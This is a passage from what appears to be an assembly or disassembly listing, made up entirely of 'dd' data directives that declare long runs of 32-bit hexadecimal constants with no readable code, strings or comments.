8F2DF46Bh, 4A82FFBFh, 0BB3DD5AAh dd 0F8DD3F79h, 857B8C4Bh, 92DB5DBh, 99A775D3h, 3F8E3CEAh dd 43979FD7h, 326D7E6Ah, 8B6FC78Bh, 0F803A687h, 46E8D2BCh dd 98B5C72h, 29FC15D4h, 7ABC636Eh, 8D50CB60h, 0DF1651C8h dd 7E4015E0h, 4C57F272h, 0E7C6D854h, 0B79B0A6h, 0B12E57CBh dd 9D655468h, 85934173h, 9BC0ABC9h, 396C68Fh, 0EA5A69B5h dd 0EF99D979h, 0DECE494Bh, 740F525Eh, 811BDDC5h, 0BEEAA545h dd 40F4142h, 1CB4B805h, 45305809h, 0FD47A7FEh, 0E97C5C76h dd 16037D53h, 0FB1889F6h, 48F9E47Ch, 85F4B0C5h, 0DB52D7D7h dd 0A8BAB575h, 7E6E17D2h, 3EB7EE97h, 15901C47h, 7215183Dh dd 0A19B49DCh, 0EA0F08B4h, 0D5BE191Eh, 0C5D617DAh, 66D691F4h dd 0E713536Eh, 10CE65A2h, 0BE8F3584h, 0AFFE6D83h, 372578F4h dd 8FEF6B60h, 7C33A5B4h, 0FF1EF8C6h, 4B44FB81h, 55890208h dd 0BC30E63Fh, 92177BD0h, 0FF587161h, 3BCF6281h, 35B06009h dd 0EFE52CD9h, 0B08A3056h, 0C45AC3EAh, 0D017ACC7h, 9BDBF929h dd 6C5DD238h, 508E57BBh, 575B8A7Ah, 147DB85Dh, 6D7D2B93h dd 0BE720EACh, 0CEC0B96Eh, 5BF9910Fh, 72953882h, 5494773Dh dd 0EE1822DCh, 6151BE9Bh, 27730C62h, 5315317Fh, 47567E57h dd 0BA215B90h, 2D985692h, 2A6440CEh, 4A5A9B9h, 47ECB958h dd 0DDD8CD0Eh, 2E378FE3h, 215DD78Ah, 0D40A8E20h, 0ECFB5356h dd 388F9337h, 0D4452895h, 2C4BC04Bh, 2570F716h, 88FC360h dd 5A9E9B2Ah, 2487F76Bh, 0FFD599CAh, 0E79C6D7Eh, 0D1891717h dd 0ED194CA8h, 316F2ECBh, 61608A39h, 0D15C0FD1h, 0E1EFD8F9h dd 73C4EADFh, 8C214092h, 82147269h, 637D6E49h, 26D24D1Bh dd 0DD7F8366h, 3D93C580h, 85E10553h, 0B72B5AFEh, 8D894DD8h dd 332785CDh, 0E299275Ah, 0D3410E38h, 9A226FA9h, 93D234D5h dd 54775E50h, 0EBEFE33Bh, 0B9A32D3Ch, 2177AACFh, 0CA4C6157h dd 0EDC9AB6Ch, 2042D5CFh, 9264D342h, 0C1D35811h, 7593DC9Ah dd 6C48FB20h, 0CC66EBA1h, 4A8B87CDh, 9D11C89Fh, 798998BCh dd 88E332B5h, 0D0DA34EEh, 0B0114FD7h, 16E848D0h, 8285B327h dd 3BFE20FDh, 0BCD501A0h, 0AA40CC75h, 3153A412h, 0A127E5D1h dd 7617A950h, 0CD7139B1h, 35C08A1h, 0CE46446h, 7E1B2C98h dd 6E6654EEh, 79434B87h, 44093AD5h, 0A5395C17h, 87D9B515h dd 7C9FC835h, 52200260h, 0AB7AE27Fh, 0EE18484Bh, 8F186122h dd 6F484189h, 6F34B9C8h, 3DE65A45h, 0B3DA137Fh, 5C80E781h dd 0DA5862B9h, 0F6E2210Ch, 0FED84769h, 0D70A20CBh, 6DC89A04h dd 48D2608Eh, 349C20DEh, 14DFC8EEh, 7D23D728h, 2D971876h dd 835650Eh, 0FA18EFF8h, 2D196466h, 85131F95h, 7BBD6859h dd 5A5A5722h, 27A0CA6h, 26C8538Ah, 950E3A9Ch, 6F313FA8h dd 5B9780ECh, 4077E331h, 0AC64EEAAh, 80D8E921h, 4CD9CB37h dd 1F058740h, 3AFC9C03h, 55AC748Bh, 5B724A08h, 45B2D308h dd 7ACF9A9Dh, 9AFD7008h, 0DDE5A807h, 6AC5B668h, 954B909Dh dd 0CE6DF6F2h, 3F037929h, 2F149009h, 9F8CB759h, 0C83C01A3h dd 0FD066871h, 0D661279Eh, 301D9BAAh, 9C810C81h, 8D136C8Bh dd 99D73B90h, 553E7D52h, 0B0733C2Bh, 13FFB866h, 3C8EC2B8h dd 1BA3A52Ah, 7F3737C2h, 0FCA7E4B0h, 0D2EA7C3Ch, 749B91DBh dd 0D1C1EDC4h, 0FF71A531h, 93D0E1FDh, 64CA70D2h, 0C198B161h dd 7484949h, 0E0834C71h, 9DE2C840h, 0F4AF267Bh, 3C8133BAh dd 13D9F352h, 41ABAA2Ch, 311A6DB4h, 0FB90759Ah, 56D9BFFDh dd 55C8E201h, 0B4A46C18h, 33DA2391h, 261828DBh, 1DB1E0D6h dd 64EA5D3Eh, 93DA5A7Fh, 6EEA5316h, 7D74925Fh, 0B3DF3E45h dd 866E5A15h, 8E7D89B3h, 49D260B6h, 1012BD8Bh, 38BB39BAh dd 1CE243D4h, 6B0D3DE2h, 28ABA40Ch, 0E219E7F2h, 70E7B57h dd 0D7EC6999h, 0C5140DACh, 0A3D47CEBh, 169DFB46h, 22A1DD26h dd 2C6B9147h, 0FAA74A73h dd 0C236B20Bh, 0CA4F3EEFh, 68E36949h, 870A48CCh, 0FFEB4F81h dd 0EA073219h, 0F89E5B8Fh, 54E2B9C4h, 0FED2F09Dh, 59B3E0EEh dd 924E10AFh, 0E5C64481h, 35452A0h, 0C3C338AFh, 11F662D1h dd 68A324BAh, 514002F3h, 8FC38DC4h, 356DB619h, 36A945B6h dd 36D52202h, 57DF17CCh, 90CF7171h, 3A4550DAh, 302478DDh dd 3EEE2E42h, 681D49C6h, 53766748h, 0A3083396h, 9B2E9629h dd 0F4714E43h, 0B2EB6050h, 6A722A89h, 6DB8D714h, 85E5BBEAh dd 0B6C16EE2h, 1EDD8057h, 0A589EDCEh, 9988829Eh, 0AB5621CFh dd 6FD5A6CCh, 7AF4901Dh, 0A0119AC2h, 9D0C1090h, 0C577ADD6h dd 0EA59A48Ah, 0B9BCA094h, 0BD860668h, 0BAB8BCE6h, 291CDE88h dd 0D5DEAE3h, 62C601BAh, 8EC74F87h, 0C200DFAFh, 0FEDC34CFh dd 939D673Ah, 0DE7EBDAh, 0F2C582BDh, 58640C1Ch, 0C9DFBC23h dd 0F4FB634Ch, 7BBB1AF3h, 0B3F224F2h, 28EE421Bh, 59CA21B8h dd 0C295198Bh, 0C1EB4A7Ch, 0D77AB5F5h, 536EE244h, 0A4C9E71Eh dd 30CB3856h, 0ECA51CF8h, 0ED5D9465h, 10CF3B3h, 0EA6F951Fh dd 0B2D6FF4Eh, 290F0387h, 81850F82h, 0E69F77A8h, 45D094FBh dd 0ED48D111h, 6CB9DC4Ch, 40363ABEh, 36AC640Eh, 0D36A9739h dd 0B8B72A3Fh, 5426D036h, 3A56CB46h, 7C731FC6h, 0A2AFF5EEh dd 858D2218h, 24854EE4h, 9AAF398Fh, 930F98E8h, 0D3800480h dd 0DF381486h, 194A092Ch, 0AD38CB0Dh, 0CFCD8E81h, 4225D79Bh dd 9C525B41h, 414CF587h, 8E61C8Fh, 8422CC96h, 4848DD04h dd 12E426EFh, 0EA7D09BAh, 7C12E1C8h, 0AAC69D57h, 9EDCB09Ah dd 0C2CB78C6h, 0F497150Ah, 564D5948h, 0A6F5E519h, 37509736h dd 3D1BA1D4h, 0F8A3F7F0h, 889C695Bh, 0DC78A22Dh, 804ABA51h dd 5AA125F9h, 0EE7FF842h, 0D4463CE9h, 20AD8373h, 2D462DFEh dd 313033D5h, 0AF4C13E8h, 155B0629h, 7AB6CB7Ch, 8317D524h dd 1659B0B4h, 7E5F09C4h, 8C434D6Fh, 4B8F7B0Dh, 4A075361h dd 0E7BDCB7Dh, 3FAC2D78h, 1F8C5EBFh, 0B900BFE6h, 41C43E95h dd 23675522h, 718B9DA3h, 748E5453h, 7AE78E98h, 503C4287h dd 80E5C09Fh, 0A9989B4Eh, 0DACEDACDh, 0D5F7AA4Ah, 0A0CABA20h dd 50187D0Bh, 364B24CBh, 0AF44BA2Fh, 0A808D505h, 19FA5B5Eh dd 9CF52CCAh, 0DDEE8A8Fh, 0F5AD7FA7h, 0D29E612Ch, 77A39E26h dd 14ACD8CFh, 0B8338925h, 7E0BBF10h, 0FC85E93Bh, 0CB7ABEFBh dd 0B3322A3Bh, 0F269E291h, 0B698130h, 860EF784h, 0BD5791FBh dd 97771BD9h, 892017DDh, 0F22E9E25h, 0D9248B46h, 0ECE93917h dd 99815283h, 13F8C43Bh, 8BCD63CDh, 0BC1A3D54h, 99157F47h dd 6BDB6CCDh, 37D0C8CFh, 9E55507Ah, 0BC091526h, 0B83231ABh dd 0B28925E1h, 537D580Ah, 2F23C8EBh, 5C7512B4h, 75028AE5h dd 39768F3Fh, 432E95D4h, 3B32CF66h, 77D58A36h, 0E9B20130h dd 0C6D9E3EBh, 5185EB62h, 8343F7A2h, 0F03F85ACh, 998CD07Eh dd 96D64984h, 42D8A1B7h, 44D56779h, 37F290F9h, 0F6FC1533h dd 3EE8FD6Eh, 4BE3AF32h, 0AB56975Eh, 0FAF743F5h, 41560226h dd 7D479388h, 7AA76521h, 0BD56267Bh, 0F3487D7Ah, 0AC0542E7h dd 6E4F1B25h, 2A6464CAh, 3B8393D1h, 97D2B6A1h, 7B451252h dd 29980050h, 7DB72443h, 4A84F8Ah, 4DA1CA85h, 11104A3Ah dd 5281F92Ah, 272CBB8Fh, 0F648E0CFh, 0C3214E7Fh, 18214917h dd 0B0B58975h, 0D8779A1Ch, 6A286292h, 0D5D31FF8h, 0BF44DB17h dd 0F2718C86h, 3DEE6692h, 4B30EFA6h, 3ABAA92Ch, 5C59D458h dd 34BF35B9h, 5987EC88h, 9C96F843h, 6ABDA34Eh, 853F230Eh dd 0C3FFB253h, 437AF365h, 76AE6520h, 0FBCF744Ch, 0A6F73A65h dd 30C61FA6h, 99774C6Fh, 53F1278Ch, 0FEE27D04h, 0D7407870h dd 1EA6E456h, 0A21C7F31h, 0F1B05434h, 6DA2F8E5h, 0A7317DD9h dd 0B4FE63B3h, 0E8B63E50h, 0F392FF16h, 580B8EE8h, 0DC8A8767h dd 4ABE9B5Bh, 21004BB9h, 0C123C600h, 0A1ABCAFEh, 0A1F729D5h dd 0E3BBD546h, 0CCD53DB9h, 2D2C8C1Dh, 0C03CBEFAh, 0C745140Ch dd 0AD0532C2h, 0A76D0F86h, 0E13B4FB4h, 13823482h, 6A5669C2h dd 4F9DBB7Fh, 5A969258h, 523B6BC6h, 0B18D2543h, 4157DAB3h dd 7EF91EC3h, 30C6D255h, 0F5A593DCh, 25A72CFh, 27683A57h dd 856EE39Bh, 0D9501B1Bh, 0C69FD0F2h, 7E504502h, 1E7E2FB3h dd 5154F889h, 4DB5D33h, 22A5E82Eh, 0A7E1562Fh, 49785211h dd 0FFF2683h, 823D6877h, 0C9201AE9h, 0FCE19793h, 471F175Ch dd 0B0213A14h, 5BDBAD78h, 0B5B98CCAh, 68EF718Bh, 6392D5BAh dd 0CCBD55C5h, 45961F3Dh, 0CE317374h, 8E9ADE1Ah, 761C9A8Bh dd 0ED01383Eh, 3889ED0h, 23F6510Ah, 9C5E3F71h, 21A35DC5h dd 0CE279C5Eh, 0AB200E20h, 5522033Ah, 84FE2617h, 4FC9667h dd 53B65BFBh, 0BDB9A96Bh, 872A0CC8h, 38EFC8C0h, 0F95E9B15h dd 0FA32FAF4h, 5FF20E4h, 0A83D16BBh, 55E376B5h, 5FD5735Dh dd 2073D4AEh, 0AEA0B9CCh, 3CAD1656h, 5DB04718h, 0EE299893h dd 7E4D8EECh, 21C368F3h, 799FB31Eh, 3229AA5Fh, 0ABB35C35h dd 0F57CDA1h, 5075BF76h, 751AD23Eh, 78BF28B0h, 39374C8Ah dd 4C394089h, 0AE19C138h, 0A234C510h, 2CB9B385h, 0C17F12A0h dd 0BDCF5D81h, 1C8AEDC9h, 0BDBD1779h, 41A2F182h, 3CD6AF8Eh dd 2D1789F1h, 0B315826h, 4558DA0Fh, 249AEE0h, 701BF95h dd 2B7BD603h, 8EB92606h, 95D32E89h, 22D457E0h, 342E6A47h dd 6874D84Eh, 5B68707Bh, 0F3D88A20h, 469BF999h, 0DA477A15h dd 0B149151Dh, 51466919h, 0BE18F202h, 0FCAFD113h, 0B655EA1h dd 0BE9BC5FFh, 5998BFBAh, 0BC72FE16h, 71F5464Ah, 0D58AA362h dd 0FC850639h, 0F2803558h, 0EF5F9877h, 854E81C4h, 4015B09Fh dd 0A2BC2E9Ah, 2CA30E98h, 8CC4F765h, 0E1F92617h, 0DB9F14C6h dd 670D2484h, 0B077E9D4h, 0D9FDB6Ah, 2C5A7087h, 0D2C082EAh dd 762102B3h, 6A83A710h, 0FA63462Dh, 263AA560h, 20576701h dd 0E7378CCEh, 87E9BD55h, 36DA0290h, 0EBF379BAh, 2686C14Dh dd 771DCB89h, 0C9E0D400h, 329E8B77h, 51B6D4D7h, 0E15DFED0h dd 0FBE5A2C3h, 2861FD20h, 6DE0C742h, 5D02680Eh, 703E9969h dd 0FC57FBDAh, 6160A9EBh, 0EBB203ABh, 0A1D746D5h, 38741F8Bh dd 0EAD1DBD3h, 7ABDB451h, 4695935Ah, 44358908h, 0A198733h dd 0EDA2EEC1h, 3CBBE31Ah, 0E3F57BA4h, 6983C12Eh, 0F3F5CB46h dd 0BF757219h, 3A98D5B9h, 690C3591h, 444D2FC9h, 0E33FB684h dd 0B50BAA4Ah, 1CD64386h, 4152517Bh, 0CC6229B4h, 1EDD67A1h dd 1D439C44h, 0A3BF5EDFh, 16E63A9Ch, 961A640Dh, 79667F56h dd 9DD7FDA9h, 0C54075D1h, 1330DCCh, 0B222A981h, 0E38CC864h dd 0AE7DB552h, 1961FEB3h, 7F1F8470h, 0A71D3EC6h, 0AEEA7169h dd 4B1BDE2Ah, 0C7EE733h, 46AC6E0h, 0A6561121h, 0CD4F2FDCh dd 0C89A7A3Ch, 0A99964C8h, 0BDE48747h, 0ACFC02FDh, 0D6731F75h dd 91D8C09Ah, 8DA0B1FFh, 79D40CAFh, 1DC0A457h, 56E90E3Bh dd 0AD41B28Eh, 4831616h, 0A12AFC74h, 5671DBE5h, 0C35EA900h dd 5758832Eh, 0E851DBADh, 0EE2FB9FFh, 8793E1E2h, 2A3FF55Ch dd 391AA7B1h, 0D8EEB919h, 11B4FD8Ah, 8D16964h, 99E45A55h dd 7CEAC40Ch, 35625457h, 74464666h, 0BD308BBAh, 6D04EF4Dh dd 6E33D2E6h, 0BD3730CEh, 6DB71B49h, 0C9DA5F48h, 0E417F3D6h dd 0D9C82310h, 0C3B7778Eh, 0C466FFFEh, 0BD71C83Fh, 73CEEE92h dd 84208EB3h, 32A2085Fh, 62961425h, 0F020DA4Eh, 0B1503FE0h dd 3AF43859h, 0AAAE6E5Eh dd 0C2EA086Ah, 29E8B1C9h, 21250506h, 0A3A7C06Ch, 0AC67A89Eh dd 0DA5312E7h, 0AD2CD0B5h, 45B62D6Bh, 0E062683Ah, 0C3C7B0DBh dd 0E83108B8h, 0AF747F21h, 2FCB8Bh, 0A35F9F55h, 0CD041130h dd 6BC42EE5h, 0F27A21C6h, 350F9346h, 9FFF7A42h, 0A572ED40h dd 2F0D9551h, 247B329Eh, 4E57A477h, 36A9658Bh, 0E8FA867Bh dd 32E409FBh, 570AB7EEh, 3C99C1A9h, 66BC50ECh, 0CA134EB2h dd 5E210878h, 0EDF6392Eh, 9614EB64h, 679D8AD4h, 7662FCB1h dd 8E08F5DFh, 8CC9214Bh, 0E8D68358h, 56C11BF7h, 6511B37Ch dd 557436B0h, 163A2E69h, 49384DEh, 5DF46441h, 0B268DB2Dh dd 35832691h, 786FF474h, 9C5ADA86h, 0F6C80241h, 0CCA1BD90h dd 0CD9A825h, 0EC531D01h, 0B962E566h, 577C2955h, 4F54B861h dd 2750F949h, 12D18109h, 497F24CDh, 571E5D54h, 0C6369D23h dd 0E57F700Eh, 0DD543A4Ah, 57077DCEh, 0B775F7C4h, 0A0A3949Bh dd 0B65B40C6h, 919E8BF3h, 0E23C6803h, 0EEFEFEFCh, 18081F5Dh dd 73C28081h, 84FAFE07h, 0AC671037h, 6D6905E6h, 0C19209F8h dd 37488721h, 0EA06D9E0h, 0BCDA325Fh, 0ABF21B7Eh, 0B751FD39h dd 0DF4B6FB6h, 9E2F14C8h, 758B57E0h, 7585FF11h, 285062B2h dd 72060601h, 0BC92D526h, 1677B767h, 6AAD4CB9h, 0B54D022Ah dd 116A7A48h, 0E8A0FDC7h, 0C6D18618h, 35A27190h, 0DA2C64DFh dd 81326374h, 2CAE3BE3h, 4C4F0878h, 67409441h, 43E75D0Bh dd 0ECA342A6h, 9A787595h, 8EED5F67h, 0D6962A6h, 140BE645h dd 28049F4Eh, 9B5D3D80h, 4EE5743h, 2D4EB096h, 0B3321F1Dh dd 0F4E6A639h, 0BF31266Dh, 7C5FCEC9h, 27FF6721h, 4708D056h dd 0ACC7A6EFh, 1ED14C3Eh, 78B4B20Bh, 1D3FD80Ah, 0B86BB53Ch dd 81CD60EBh, 4E3D07Fh, 0A5804D5h, 16F2E38Ah, 0F2178E35h dd 0E8D744DCh, 0D9232B2h, 2C363D5Ah, 0DAA7B754h, 5FDCCB23h dd 0A37841DCh, 68351B87h, 0B0524C4Eh, 4C54D63Ch, 3A47C8BFh dd 0EC36962Fh, 8A8D31A9h, 1DE5669Ch, 9455CDCCh, 0EE5E4E42h dd 17327891h, 3A16A276h, 28F78678h, 0D46427CFh, 313D4422h dd 0E116BFE1h, 0D19EC771h, 1BD6DEE1h, 45DD23A3h, 9C055455h dd 0F0BF5FA1h, 314FA332h, 4022F751h, 329F335Ch, 0DBD1CF49h dd 0A115CC78h, 623A527Bh, 0C7BB7EF9h, 60A6D78Dh, 76DAD33Dh dd 555B80D4h, 0B191E08Dh, 0C95FE7E1h, 23E04174h, 0C9C82110h dd 0B20F6C8Eh, 35D4F97Bh, 9208C965h, 0C966C75Eh, 3392F1A1h dd 5C7B5D58h, 0DE3A9D58h, 0AD95C1CDh, 0DE4E4049h, 7F95680Ch dd 8E007B4Ah, 0BC1BC0E2h, 0FE65D0DFh, 0DE3D10DFh, 3237CB58h dd 5C2EE0Bh, 16A711BAh, 0DAA91B95h, 0A4AF8899h, 0A6412B99h dd 0B880D4B3h, 2EFEE0BEh, 0DE7DEB2Eh, 0D661322Bh, 0E17DF7A8h dd 0FA055D8Ah, 86BE6883h, 38416F0Fh, 56F9B653h, 5216FF96h dd 0FC8ED191h, 0FC7E9ACAh, 652A69AEh, 0A4F8CBEEh, 0E52579E5h dd 0B217332Bh, 0AAE825C0h, 1078B351h, 89E242DDh, 9E0C2200h dd 0F8E481A4h, 9B27C3E0h, 75009558h, 0D0274A0Bh, 97D48120h dd 390DF116h, 0A54692F9h, 6178BACEh, 0F092E35Ah, 670D6370h dd 2574BC85h, 7F2487C8h, 36902534h, 7EAD7A73h, 0BE860785h dd 0AD033575h, 0DC8C0019h, 318C3445h, 0A531561Fh, 8568AA02h dd 5D709626h, 3F8CAA5Ch, 0A97E6179h, 6673ECFBh, 4E6A1C86h dd 746C4B6Fh, 0B4406174h, 0B2870B2Dh, 520398DBh, 0E0B029Ch dd 57F36A3Fh, 1CD7D5F1h, 1EF167AFh, 0EDBD0EDAh, 0DB7192A4h dd 4E57D460h, 63E0CE5Eh, 4CFF4959h, 342FC7FCh, 0E969F778h dd 0DDD9CCDEh, 2F570A7Dh, 0DBF6FF00h, 0EC57ABBBh, 0A7D48294h dd 0AF06D327h, 16FC19DCh, 5B851F6Ch, 0B9373EC9h, 0F0CDD163h dd 9C517920h, 0F55CF276h, 141A541Fh, 2F18BFD2h, 0E009E59Fh dd 45933CDBh, 0D8093EFFh, 851E9E4Ah, 0CAADAD19h, 5F5E129Dh dd 0CBE1D25Eh, 97D2A158h, 8CAA5B3Ah, 0EA898F5Ch, 0AA4F2579h dd 7EC43786h, 0C96A5FADh, 2D81AFD8h, 41613DD3h, 0D53224A5h dd 0A444C38Dh, 6663A5D1h, 45010802h, 0D962BE12h, 740D6257h dd 865FF711h, 0BA66778Bh, 35CE5ECBh, 899D81Fh, 0AE9FF325h dd 0DB50DF5Dh, 4A099EFh, 3FC8F043h, 62E80B28h, 3E086EEBh dd 539418h, 15BF0824h, 0DCBD6350h, 0AACD10B7h, 0F1BCC3DCh dd 99574908h, 6582E3EBh, 0A97627D6h, 0B3D26400h, 0F856E6AAh dd 28F4DD9Ah, 0A720738Dh, 4149DD7Eh, 4A2B618Bh, 8D1917DDh dd 98D2EB18h, 5D2E008h, 0FC9C2341h, 0F68971B7h, 0B119B711h dd 0D1BA30AFh, 8418486h, 0C88A5927h, 3679858Fh, 0F4EF42A5h dd 0D3AE3E98h, 514AE549h, 95E7A696h, 0CBBCDF39h, 2419BF95h dd 99D4CDF2h, 88FA7E8Fh, 153B2EC6h, 0A84D0576h, 45D4C07Bh dd 0DBE6183h, 49A30AC5h, 41372A76h, 7EAE9A8Ch, 46E4E432h dd 0CB0B713Eh, 258E00FBh, 6F5AEC83h, 883F5E02h, 1353AAEBh dd 0E6EBC8CDh, 53AAFAA1h, 3C563F0h, 0D1CBA583h, 8E40A49Ah dd 1E8AB351h, 6104BFBh, 9FA8DBC6h, 0C3CDE02Ah, 5E91FC1Ah dd 0E94FC195h, 9E975C74h, 4A29E1D9h, 15E72291h, 65E0497Ch dd 380A5521h, 0EDAFD595h, 0D300A207h, 17154ED3h, 36AAA021h dd 8F06A5DEh, 0BFA4E5BEh, 8CC2162Bh, 0B6FB561Bh, 0D85E6697h dd 2A2DCEFBh, 0B8D3B62h, 6709A69Ch, 5EFA6E44h, 0EC6052D6h dd 0DABD0E19h, 2D58701Ch, 0CE14F6AFh, 24E272Eh, 20F6D5D1h dd 1FF13EAEh, 0A1969580h, 43989A29h, 7B19F573h, 1FAAD41Ah dd 0C6EF5A77h, 67DC2944h, 56C40EE9h, 962F51C4h, 18721758h dd 166B9BCFh, 2FA75470h, 631EE3B2h, 0BDE8EB18h, 0EE26DE57h dd 0DF201CACh, 0B170A908h, 36A5AC49h, 0C6F170CFh, 0C5765BE1h dd 2B08C2B6h, 99DD2153h, 25B56DBEh, 209D93D0h, 4DAEA04Eh dd 0E9EC6050h, 1CE8456Eh, 0D04E0492h, 86709A9h, 79BAC3B5h dd 0BE3ACA4Eh, 37677C2Bh, 0DC88E90Dh, 0C0BBA525h, 0AD04D922h dd 6B9A0783h, 0D8E0DAE3h, 45112211h, 2813CE92h, 8B816829h dd 5EFBFB84h, 5BDCB9D7h, 2246EFA6h, 0C1ABEAF0h, 0EF04EA3Eh dd 197C13E1h, 6D349C0h, 7FF55917h, 0F706EB77h, 57FAACEFh dd 0E98E0554h, 0AB08C7F0h, 343709Ah, 6908F95Ch, 8E04111Eh dd 91B70FF5h, 0CD3E2627h, 31A64816h, 3C313732h, 0A2731499h dd 2DE91CABh, 0CA0A1560h, 8659F9F0h, 0B33675BCh, 1561B1E9h dd 52EDC2Fh, 7006A7ECh, 212C5653h, 0DB88D33Dh, 13D0F949h dd 0CCFE486Fh, 3DBB1F60h, 7FBAF723h, 9F80D537h, 4B22A9C6h dd 0AE45DAC0h, 0F88EB43Eh, 522FE807h, 9CC79B2Ch, 9F947B2h dd 0AD892ADCh, 7AE8969h, 0DDE4171Ch, 0BB0763F4h, 0DFC4DAAAh dd 0B23AF1F6h, 0A37E8F9Fh, 0BFCC8714h, 39EB6DF1h, 5C79EFC3h dd 8D009EB5h, 33C363FDh, 0B4C98B4h, 0E4ACA486h, 931DC487h dd 0BCC70716h, 0FC34FDCEh, 3ADC0CDAh, 0A28C7852h, 4FCA1C02h dd 0C843786Bh, 1A2203FAh, 166C76CBh, 1BC36FE9h, 1F85E3B6h dd 0E609FCFCh, 0F4929738h, 3DEB8DB1h, 0D66B8CEh, 85EBDEB0h dd 45926A3Ch, 4B002120h, 6913B7Eh, 0AFCFAF61h, 0E1D5A89Ch dd 1C076A6Fh, 0AAC9E85Bh, 629B5817h, 2930A449h, 0D2E86CE6h dd 65E2BAEBh, 9E27269Eh, 3AA624B9h, 0E3152DA4h, 82026A4Dh dd 50213ACFh, 824B091Eh, 8918116Dh, 55A93B0Eh, 46DB4B4Ch dd 7F96B4F0h, 3F38F272h, 19376E40h, 0C664D00Bh, 66DA480Fh dd 30680E03h, 6A89843Ch, 0E20CC1B6h, 1DB07D02h, 4F9F4282h dd 0E43C940Bh, 5DC34C14h dd 474B339Dh, 151DF004h, 8F08B748h, 0E4745EDCh, 0F6B15E98h dd 0F1BD6491h, 0C3F2A6AAh, 0E1DA4649h, 6E113AAAh, 0A357245Ah dd 96333B57h, 0E04E757Ch, 63131E8Ah, 9F7751B8h, 0DB05F32Bh dd 0B42759CDh, 81EB5CBAh, 0BBDD0835h, 4FF92B3Dh, 0A319E413h dd 0F6626D32h, 0DBB4D142h, 46BCB858h, 0E1646AEFh, 6A0061BFh dd 871C6C06h, 0C722EF15h, 0D391218Eh, 0CAF9C659h, 5B7E2A53h dd 41D0CD43h, 2570CDE5h, 0CCA242C2h, 946AA27Ch, 3208DD80h dd 0B7FB001Dh, 0C9D43478h, 0C2416368h, 0C6895ED1h, 510EB4EAh dd 0D74FA189h, 2FDF0C5Bh, 63725C0Bh, 0B62D09EEh, 4853E765h dd 5A747BCAh, 88C78102h, 0C911DBB6h, 7CCA395Ah, 8DF4587Ch dd 3137A6CEh, 2863A194h, 0A6702A15h, 91ED5ED1h, 0BE8D7BEDh dd 318907F4h, 77E60E26h, 324975Fh, 621E38F0h, 9906CD32h dd 25018047h, 1212FAF1h, 0AFBCA238h, 0BF25AEFBh, 537ADB3Ch dd 79AC1E41h, 0BAA90153h, 80DC324Fh, 8849E133h, 0D19B676Ah dd 2336C32Ch, 0F84B610Eh, 150C60E3h, 10FBB8C3h, 0AD0DE128h dd 2D419861h, 4C6C01ADh, 72D538CFh, 0BD282D2Fh, 7A5B1B51h dd 4F8AD678h, 0F87321C6h, 0D2ACFF0h, 20BB1E77h, 0BA755EDEh dd 0D0F3CEC3h, 0B10061A3h, 0BB83F3CAh, 0F354D53h, 0A7780ACAh dd 0A21BA093h, 0F842FF30h, 9012EC67h, 5AA63D1Ah, 34470330h dd 1F40C3ABh, 5BBD0559h, 0ADB8309Bh, 0AE6713CCh, 0F6A625CCh dd 0E89AFE38h, 0D223D934h, 0B77AFBAh, 3726F307h, 652DD46Eh dd 0DE33F2B3h, 0A47D6840h, 1124D955h, 0A31EC5FDh, 312903B7h dd 15E9CC2Bh, 0C1092036h, 21294317h, 265A597Fh, 1C85C94Bh dd 512CF63Ah, 0BA80188Fh, 0E19A2DBBh, 7EDE9079h, 2206D394h dd 7E866B73h, 3966C0CCh, 0DD4919B0h, 0B202A43Bh, 0C65E7787h dd 4766A00Ch, 32AF3692h, 9ECBBAD7h, 0C2BE1E7Ch, 2ED78CCh dd 69A7ECBFh, 549C7A8Ah, 27CE042h, 5A64C2CEh, 553E955Bh dd 0CD83CF6Eh, 211B14E3h, 8BE951Fh, 26C3D200h, 93676B13h dd 0D3608968h, 0D9B7017Bh, 155D446Eh, 0B1E58F8Dh, 65601CC6h dd 0B42305ABh, 86D79671h, 47B680B9h, 0A61A0BCCh, 691F3F35h dd 616C502Dh, 0BF164902h, 0C5CD5F98h, 687507CFh, 0F182E393h dd 8BAA930Ch, 3EFE4D1Fh, 545DAC07h, 0F2C256E2h, 2C9F948Fh dd 0A2F6E40Dh, 4D49858Fh, 0B9947624h, 5FA3B012h, 33147378h dd 30846E62h, 1B4AC738h, 7FC36B76h, 5A90BD9Fh, 0F51E3E79h dd 69B1DB68h, 0A4E70F39h, 0D6096927h, 0F6733687h, 0F56680EFh dd 0E918F6F9h, 38D4E4EEh, 0B6BE12Fh, 0EB0B5544h, 844888Eh dd 29FED6BCh, 294E104Ch, 0F8297AC1h, 8452B054h, 0B8886381h dd 688657Fh, 4F2801ABh, 77A4340h, 0B1069DCBh, 117E45AFh dd 2636E977h, 6912981Bh, 851415F8h, 9ACC6549h, 30F347CBh dd 0E7F10A28h, 12F27431h, 586E83C6h, 5CE2F937h, 96A08A61h dd 3DBC2B4Ch, 62776B2Eh, 7C6DF107h, 9EA80541h, 592FC415h dd 18469385h, 4F5D1606h, 0F68EC6D4h, 0AEE4F077h, 7EAFA775h dd 612C547h, 0BE35ED03h, 5CEFC7E6h, 0D0478C26h, 46B26FB4h dd 5137C11h, 0B04D3C3Fh, 195BCAACh, 15E6598Fh, 0DD7A24DAh dd 4A4FDABDh, 95FB15BAh, 5BE8FB8Fh, 0A4D05341h, 0BBB3D654h dd 0B2F9E60Fh, 0FF549281h, 6F0E5FDCh, 0A29BD05Ah, 0F3ED4FA0h dd 455DAC3Bh, 0F5367272h, 5C608CE7h, 38F0C793h, 76C896h dd 0AC703BD6h, 236D4E97h, 0F8E3611Eh, 0FB1481D2h, 2847CD87h dd 7B3F530Eh, 5EC12E7Fh, 0C59B4384h, 7CB2BDAFh, 0CEF95974h dd 0EC76BABAh, 0BCE7281Ah, 31BF2B8Ah, 0F9025086h, 72EC9615h dd 542489B1h, 2422300Bh, 0AB3251BAh, 923DB7Fh, 0C5E1F7C0h dd 0D66238F0h, 0D834EA3Dh, 0CE24A415h, 7914211Dh, 7E234483h dd 0FADC909Bh, 9343900Ah, 416EAFEDh, 616CE6E6h, 1D30AE42h dd 0DFCCA80Ch, 0A36A0B8Bh, 98652D8Fh, 0CA3C047h, 91135CFBh dd 46FEC32Eh, 7703AD1Fh, 1E3BD789h, 4CC28E95h, 5CFA4AE3h dd 0E51656BAh, 252098BBh, 0C42C4CA2h, 1795C78Dh, 683558CAh dd 0C3DB52D4h, 64416E6Ch, 0CDB2AC10h, 42E52988h, 110CC21Eh dd 63498B08h, 0F53EC788h, 0C8F68601h, 712ED0C4h, 53706970h dd 4C40FDC5h, 0E71FFF4Dh, 0CCB31258h, 